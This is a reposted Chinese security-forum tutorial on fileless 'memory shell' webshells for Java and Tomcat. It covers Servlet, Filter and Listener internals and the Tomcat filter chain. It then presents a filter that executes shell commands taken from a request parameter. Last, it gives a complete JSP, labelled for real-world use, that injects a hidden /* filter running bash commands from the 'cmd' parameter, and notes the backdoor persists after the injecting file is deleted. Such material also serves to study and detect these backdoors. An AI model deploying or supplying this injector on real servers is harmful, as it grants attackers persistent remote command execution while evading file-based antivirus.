安全矩阵

 找回密码
 立即注册
搜索
查看: 2406|回复: 0

深入浅出内存马(一)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-10 09:06:42 | 显示全部楼层 |阅读模式
原文链接:深入浅出内存马(一)

0x01 简述0x0101 Webshell技术历程在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。
0x0102 为什么会使用内存马?传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。

这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell---》内存马
0x03 什么是内存马内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
0x03 内存马的类型目前分为两种:
  •         Servlet-API型通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

    •                 filter型
    •                 servlet型

           
  •         字节码增强型
            通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
  •         spring类

    •                 拦截器
    •                 Controller型

           
0x02 内存马的原理我们以Java Web举例,在Java Web中有三大组件分别是Servlet, Filter,Listener
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Servlet程序是由WEB服务器调用,web服务器收到客户端的Servlet访问请求后:
  •         Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是,则直接执行第4步,否则,执行第2步。
  •         装载并创建该Servlet的一个实例对象。
  •         调用Servlet实例对象的init()方法。
  •         创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象,然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
  •         WEB应用程序被停止或重新启动之前,Servlet引擎将卸载Servlet,并在卸载之前调用Servlet的destroy()方法。

Filter
Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
生命周期
  1. public void init(FilterConfig filterConfig) throws ServletException;//初始化
  2. 和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

  3. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//拦截请求
  4. 这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。

  5. public void destroy();//销毁
  6. Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
复制代码


Listener
监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。
主要由三部分构成:
  •         事件源:被监听的对象
  •         监听器:监听的对象,事件源的变化会触发监听器的响应行为
  •         响应行为:监听器监听到事件源的状态变化时所执行的动作

在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Tomcat
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper
Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

0x03 Tomcat Filter注入流程通过上面的介绍,我们已经大致了解内存马的背景知识,现在我们来讲解Tomcat Filter类型的内存马,看看这种流程是什么样子的?
0x0301Tomcat Filter简单案例新建filter
  1. package com.evalshell.Filter;

  2. import javax.servlet.*;
  3. import java.io.IOException;

  4. public class MyFilter implements Filter {
  5.     @Override
  6.     public void init(FilterConfig filterConfig) throws ServletException {
  7.         System.out.println("Filter 创建");
  8.     }

  9.     @Override
  10.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  11.         System.out.println("执行过滤过程");
  12.         filterChain.doFilter(servletRequest, servletResponse);
  13.     }

  14.     @Override
  15.     public void destroy() {
  16.         System.out.println("销毁!");
  17.     }
  18. }
复制代码

Web.xml配置
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5.          version="4.0">

  6.     <servlet>
  7.         <servlet-name>HelloServlet</servlet-name>
  8.         <servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
  9.     </servlet>
  10.     <servlet-mapping>
  11.         <servlet-name>HelloServlet</servlet-name>
  12.         <url-pattern>/hello</url-pattern>
  13.     </servlet-mapping>

  14.     <filter>
  15.         <filter-name>MyFilter</filter-name>
  16.         <filter-class>com.evalshell.Filter.MyFilter</filter-class>
  17.     </filter>

  18.     <filter-mapping>
  19.         <filter-name>MyFilter</filter-name>
  20.         <url-pattern>/hello</url-pattern>
  21.     </filter-mapping>

  22. </web-app>
复制代码


就是我们创建一个servlet和一个filter 访问路由都是为/hello 。看下结果:


控制台输出

我们简单调试一下

对应Web.xml中的配置信息,这种方式就是为静态的添加filter的方式,filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的。
关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 这个不是我们主要讲述的重点。
Filter调用链,可以引用宽字节安全总结的一张图来说明:

0x04 Filter型内存马注入0x0401 动态创建Filter我们调试一下filterChain.doFilter() 方法,启动服务,然后访问/hello即可调试:

继续跟进,可以看到doFilter() 的具体处理过程是在internalDoFilter()


然后最后调用service()方法去调用这个filter里面的内容


概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
0x0402 一个简单Filter内存马案例上面的描述总结下来就是如何在tomcat中动态的注入一条配置项和代码,拿filter类型举例子,那么我们如何创建一个Filter类型的内存马呢?
  •         首先创建一个恶意Filter
  •         利用 FilterDef 对 Filter 进行一个封装
  •         将 FilterDef 添加到 FilterDefs 和 FilterConfig
  •         创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

  1.     ServletContext servletContext = request.getSession().getServletContext();
  2.     Field appctx = servletContext.getClass().getDeclaredField("context");
  3.     appctx.setAccessible(true);
  4.         // ApplicationContext 为 ServletContext 的实现类
  5.     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  6.     Field stdctx = applicationContext.getClass().getDeclaredField("context");
  7.     stdctx.setAccessible(true);
  8.         // 这样我们就获取到了 context
  9.     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
复制代码


每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
好的 那我们首先来编写一个filter的恶意类
  1. package com.evalshell.Filter;

  2. import javax.servlet.*;
  3. import javax.servlet.http.HttpServletRequest;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.util.Scanner;

  7. public class MyFilter implements Filter {
  8.     @Override
  9.     public void init(FilterConfig filterConfig) throws ServletException {
  10.         System.out.println("Filter 创建");
  11.     }

  12.     @Override
  13.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  14.         System.out.println("执行过滤过程");
  15.         //测试只考虑linux环境下
  16.         HttpServletRequest request = (HttpServletRequest) servletRequest;
  17.         if (request.getParameter("c") != null){
  18.             String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
  19.             InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
  20.             Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
  21.             String output = scanner.hasNext() ? scanner.next() : "";
  22.             servletResponse.getWriter().write(output);
  23.             servletResponse.getWriter().flush();
  24.             return;
  25.         }

  26.         filterChain.doFilter(servletRequest, servletResponse);
  27.     }

  28.     @Override
  29.     public void destroy() {
  30.         System.out.println("销毁!");
  31.     }
  32. }
复制代码


运行效果:

可以看到这个就是在tomcat中没有任何shell文件,但是在过滤器中执行了我们的代码。
​​
0x0402 最终实战那么真实情况下,我们不可能直接修改项目中Filter的源码,因为就算修改了,想要生效也需要重启。所以我们需要动态的插入filter,那我们该如何操作呢?
最终代码如下:
  1. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.StandardContext" %>
  4. <%@ page import="java.util.Map" %>
  5. <%@ page import="java.io.IOException" %>
  6. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  7. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  8. <%@ page import="java.lang.reflect.Constructor" %>
  9. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  10. <%@ page import="org.apache.catalina.Context" %>
  11. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

  12. <%
  13.     final String name = "fengxuan";
  14.     ServletContext servletContext = request.getSession().getServletContext();

  15.     Field appctx = servletContext.getClass().getDeclaredField("context");
  16.     appctx.setAccessible(true);
  17.     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  18.     Field stdctx = applicationContext.getClass().getDeclaredField("context");
  19.     stdctx.setAccessible(true);
  20.     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

  21.     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  22.     Configs.setAccessible(true);
  23.     Map filterConfigs = (Map) Configs.get(standardContext);

  24.     if (filterConfigs.get(name) == null){
  25.         Filter filter = new Filter() {
  26.             @Override
  27.             public void init(FilterConfig filterConfig) throws ServletException {

  28.             }

  29.             @Override
  30.             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  31.                 //这里写上我们后门的主要代码
  32.                 HttpServletRequest req = (HttpServletRequest) servletRequest;
  33.                 if (req.getParameter("cmd") != null){
  34.                     byte[] bytes = new byte[1024];
  35.                     Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
  36.                     int len = process.getInputStream().read(bytes);
  37.                     servletResponse.getWriter().write(new String(bytes,0,len));
  38.                     process.destroy();
  39.                     return;
  40.                 }
  41.                 //别忘记带这个,不然的话其他的过滤器可能无法使用
  42.                 filterChain.doFilter(servletRequest,servletResponse);
  43.             }

  44.             @Override
  45.             public void destroy() {

  46.             }

  47.         };


  48.         FilterDef filterDef = new FilterDef();
  49.         filterDef.setFilter(filter);
  50.         filterDef.setFilterName(name);
  51.         filterDef.setFilterClass(filter.getClass().getName());
  52.         
  53.         // 将filterDef添加到filterDefs中
  54.         standardContext.addFilterDef(filterDef);

  55.         FilterMap filterMap = new FilterMap();
  56.       //拦截的路由规则,/* 表示拦截任意路由
  57.         filterMap.addURLPattern("/*");
  58.         filterMap.setFilterName(name);
  59.         filterMap.setDispatcher(DispatcherType.REQUEST.name());

  60.         standardContext.addFilterMapBefore(filterMap);

  61.         Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
  62.         constructor.setAccessible(true);
  63.         ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

  64.         filterConfigs.put(name,filterConfig);
  65.         out.print("注入成功");
  66.     }
  67. %>
复制代码


访问这个页面

最后直接访问任意Servlet路由都可以执行命令

即使删除我们的注入文件filterdemo1.jsp也是一样可以执行,这样就可以达到无文件的Webshell管理方式了。
0x05 参考链接http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:35 , Processed in 0.015054 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表